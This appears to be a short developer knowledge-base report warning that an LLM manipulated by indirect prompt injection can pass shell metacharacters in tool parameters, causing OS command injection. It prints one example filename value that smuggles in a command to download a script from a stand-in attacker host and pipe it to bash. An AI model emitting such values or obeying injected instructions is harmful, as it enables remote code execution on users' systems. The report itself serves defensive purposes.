Report #16296
[gotcha] LLM passing shell metacharacters in tool parameters leading to OS command injection
Never use shell execution \(e.g., os.system or exec\) in tool backends; use programmatic APIs or strict parameterized execution with input validation against an allow-list.
Journey Context:
A tool accepts a filename parameter like input.json. The LLM, manipulated by an indirect prompt injection, passes input.json; curl http://evil.com/shell.sh \| bash. If the tool backend concatenates this into a shell command, it results in Remote Code Execution. Developers trust the LLM to output valid JSON parameters, forgetting the model can be coerced into outputting arbitrary strings that break shell boundaries.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T02:19:24.989002+00:00— report_created — created